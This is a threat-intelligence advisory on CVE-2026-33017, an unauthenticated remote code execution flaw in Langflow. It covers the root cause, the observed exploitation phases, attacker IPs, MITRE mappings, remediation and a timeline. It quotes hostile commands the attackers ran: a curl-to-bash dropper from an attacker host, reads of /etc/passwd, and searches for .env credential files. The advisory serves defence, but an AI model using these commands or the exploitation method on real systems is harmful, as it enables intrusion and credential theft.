CVE-2026-33017: Langflow Unauthenticated RCE via Public Flow Build Endpoint — Active Exploitation Within 20 Hours

CVE-2026-33017 (TL-2026-0250) is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-03-19 and last reviewed 2026-09-01. It has no confirmed attribution, affects Langflow Langflow, references 1 CVE (CVE-2026-33017), maps to 30 MITRE ATT&CK techniques (T1005, T1021.004, T1036), and is covered by 9 detection rules and 37 indicators of compromise.

Key facts for TL-2026-0250

Threat ID
TL-2026-0250
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-03-19
Last reviewed
2026-09-01
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
technology, artificial-intelligence, cloud, software-development, research, financial, healthcare
Target regions
Global, North America, Europe, Asia-Pacific
Detection rules
9
Indicators of compromise
37
Updates
2026-09-01 · revalidated 1× · latest source

Malware and tooling in CVE-2026-33017

Malware and tooling: Custom HTTP C2 (143.110.183.86:8080), interactsh, nuclei

Critical unauthenticated remote code execution vulnerability in Langflow AI pipeline framework (CVE-2026-33017). The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint accepts attacker-supplied Python code in flow node definitions and executes it server-side via exec() without authentication or sandboxing. Active exploitation observed within 20 hours of disclosure, with automated nuclei scanning followed by custom exploitation for credential harvesting and C2 deployment.

How CVE-2026-33017 works

CVE-2026-33017 is a critical unauthenticated remote code execution vulnerability in Langflow, a popular open-source AI pipeline and workflow orchestration framework. The vulnerability resides in the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which is designed to build public flows without requiring authentication.

The root cause is a combination of missing authentication (CWE-306) and improper neutralization of dynamically evaluated code (CWE-95). The endpoint accepts an optional attacker-controlled 'data' parameter. When supplied, the system uses the attacker's flow data — containing arbitrary Python code embedded in node definitions — instead of the legitimate flow data stored in the database. This user-supplied code is passed directly to Python's exec() function without any sandboxing or input sanitization.

Exploitation is trivial: a single HTTP POST request with a crafted JSON payload containing malicious Python code in the flow node definition achieves code execution with the privileges of the Langflow server process. If AUTO_LOGIN=true (the default configuration), an attacker can generate a valid public flow ID without credentials, making the attack fully unauthenticated from start to finish.

Sysdig's Threat Research Team observed active exploitation beginning just 20 hours after the advisory was published on March 17, 2026. The attack campaign proceeded in distinct phases:

1. SCANNING PHASE (Mar 18, 16:04-16:39 UTC): Multiple IPs initiated automated scanning using private nuclei templates (identified by Cookie: client_id=nuclei-scanner headers). The nuclei template used Interactsh callbacks (.oast.live, .oast.me, .oast.pro, .oast.fun subdomains) for out-of-band validation of code execution.

2. RECONNAISSANCE PHASE (Mar 18, 20:55+ UTC): Attackers executed system enumeration commands including 'id', 'ls -al /root; ls /app; cat /etc/passwd', 'env', and 'find /app -name "*.db" -o -name "*.env"' to harvest environment variables, credentials, and identify sensitive files.

3. CREDENTIAL HARVESTING: Attackers targeted .env files containing API keys, database passwords, and cloud credentials. The base64-encoded output was exfiltrated via HTTP callbacks to Interactsh infrastructure and a dedicated C2 server at 143.110.183.86:8080.

4. PAYLOAD DELIVERY: A stage-2 payload was delivered via 'bash -c "$(curl -fsSL http://173.212.205.251:8443/z)"' for persistent access and further exploitation.

This vulnerability is distinct from but related to CVE-2025-3248, a prior Langflow RCE in the /api/v1/validate/code endpoint that was added to CISA KEV in May 2025. CVE-2026-33017 targets a different endpoint and bypasses the authentication controls added to fix CVE-2025-3248. The pattern of repeated critical RCE vulnerabilities in Langflow's code execution endpoints represents a systemic design issue with the platform's approach to dynamic code evaluation.

The attack infrastructure suggests a single coordinated operator using multiple VPS nodes across Germany, Singapore, France, and the Netherlands, with C2 infrastructure hosted in India. Shared infrastructure between source IPs 83.98.164.238 and 173.212.205.251 (both connecting to the same C2 at 143.110.183.86:8080) further supports this assessment.

MITRE ATT&CK techniques used in TL-2026-0250

collection

T1005 Data from Local System

Lateral Movement

T1021.004 Remote Services: SSH

Defense Evasion

T1036 Masquerading; T1070.002 Indicator Removal: Clear Linux or Mac System Logs; T1222.002 File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification; T1562.001 Impair Defenses: Disable or Modify Tools

exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053.003 Scheduled Task/Job: Cron

execution

T1059 Command and Scripting Interpreter

Execution

T1059.004 Command and Scripting Interpreter: Unix Shell; T1059.006 Command and Scripting Interpreter: Python

command-and-control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer; T1132 Data Encoding

Command and Control

T1071.001 Application Layer Protocol: Web Protocols

discovery

T1082 System Information Discovery; T1083 File and Directory Discovery; T1087 Account Discovery

initial-access

T1190 Exploit Public-Facing Application

Impact

T1496 Resource Hijacking

Discovery

T1518.001 Software Discovery: Security Software Discovery; T1614 System Location Discovery

credential-access

T1552 Unsecured Credentials

Credential Access

T1552.001 Unsecured Credentials: Credentials In Files; T1552.004 Unsecured Credentials: Private Keys

resource-development

T1583 Acquire Infrastructure; T1588 Obtain Capabilities

reconnaissance

T1589 Gather Victim Identity Information; T1592 Gather Victim Host Information; T1595 Active Scanning

Affected products and versions in CVE-2026-33017

  • Langflow — Langflow
    Vulnerable versions: <=1.8.13
    Fixed in: Pending — no official patch at time of disclosure

Remediation for CVE-2026-33017

Patches

  • Update Langflow to the latest patched version when available
  • Monitor Langflow GitHub releases and security advisories for the official fix

Immediate actions

  • Block all identified attacker IPs at the network perimeter: 77.110.106.154, 209.97.165.247, 188.166.209.86, 205.237.106.117, 83.98.164.238, 173.212.205.251, 143.110.183.86
  • Restrict access to /api/v1/build_public_tmp endpoint via WAF or reverse proxy rules
  • Disable public flow building if not required (set AUTO_LOGIN=false)
  • Block outbound connections to oast.live, oast.me, oast.pro, oast.fun domains
  • Audit Langflow server process for signs of compromise: unexpected processes, modified files, new cron jobs

Workarounds

  • Disable the public flow build endpoint entirely by blocking /api/v1/build_public_tmp at the reverse proxy
  • Set AUTO_LOGIN=false to prevent unauthenticated flow ID generation
  • Place Langflow behind VPN or IP allowlist to restrict access to trusted users only
  • Rotate all API keys, database passwords, and cloud credentials that may have been exposed via .env files

Longer-term hardening

  • Deploy web application firewall (WAF) with code injection detection rules in front of Langflow instances
  • Implement network segmentation to isolate AI/ML pipeline infrastructure from production networks
  • Deploy EDR with behavioral detection for Python-based code injection attacks
  • Implement runtime application self-protection (RASP) to detect exec() abuse
  • Establish monitoring for outbound connections to Interactsh and similar OOB callback services

CVEs associated with CVE-2026-33017

CVE-2026-33017

Weaknesses (CWE) in CVE-2026-33017

CWE-306, CWE-95, CWE-94

Timeline of CVE-2026-33017

  • CVE-2025-3248 disclosed — unauthenticated RCE in Langflow /api/v1/validate/code endpoint, affecting versions before 1.3.0
  • CISA adds CVE-2025-3248 to Known Exploited Vulnerabilities catalog after confirmed active exploitation
  • CVE-2026-33017 advisory published at 20:05 UTC — unauthenticated RCE via /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow
  • Stage-2 payload deployed via bash dropper (curl -fsSL http://173.212.205.251:8443/z) with C2 callback to 143.110.183.86:8080 for persistent access
  • Advanced credential harvesting phase begins at 20:55 UTC — attackers execute system enumeration (id, ls, cat /etc/passwd, env, find) and target .env files for API keys and database credentials
  • Multiple scanning IPs active between 16:05-16:39 UTC from Germany, Singapore, France, and Netherlands using nuclei-scanner Cookie headers and python-requests/2.32.3 User-Agent
  • First exploitation attempt observed at 16:04 UTC — just 20 hours after disclosure. Automated nuclei scanning with private templates and Interactsh OOB callbacks initiated
  • Sysdig Threat Research Team publishes comprehensive analysis detailing the full exploitation chain, attacker infrastructure, and IOCs
  • CVE-2026-33017 formally published in NVD with CVSS 3.1 base score 9.8.
  • CISA adds CVE-2026-33017 (Langflow) to the Known Exploited Vulnerabilities catalog, confirming in-the-wild exploitation.
  • JFrog research discloses that Langflow 1.8.2, publicly described as the fixed version, remains fully exploitable in both PyPI and Docker installs.
  • Start of Trend Micro's observed 19-day cryptomining campaign window: operators reuse the RCE to deploy the isp.sh dropper from 83.142.209.214.
  • Langflow 1.9.0 released, removing the vulnerable data parameter from build_public_tmp and delivering the actual fix.
  • Trend Micro's observed cryptomining campaign window closes after 19 days of activity.
  • As of 2026-05-29, CVE-2026-33017 remains actively exploited: CISA added it to KEV on Mar 25 (deadline Apr 8) and a newer NATS-based botnet now harvests cloud/AI keys from Langflow hosts. A true fix exists (v1.9.0; the interim v1.8.2 was confirmed still exploitable by JFrog), but public PoCs and ongoing mass scanning keep it live.
  • Trend Micro publishes 'From Langflow to Monero: Inside CVE-2026-33017 Cryptominer,' detailing the lambsys.elf/procq XMRig delivery chain, defense evasion, persistence, and SSH-worm lateral movement.

Update history for TL-2026-0250

Sources cited for CVE-2026-33017

Threats related to CVE-2026-33017

Detection coverage for TL-2026-0250

As of 2026-09-01, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0250 across Splunk SPL, Microsoft KQL and Sigma, covering 37 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats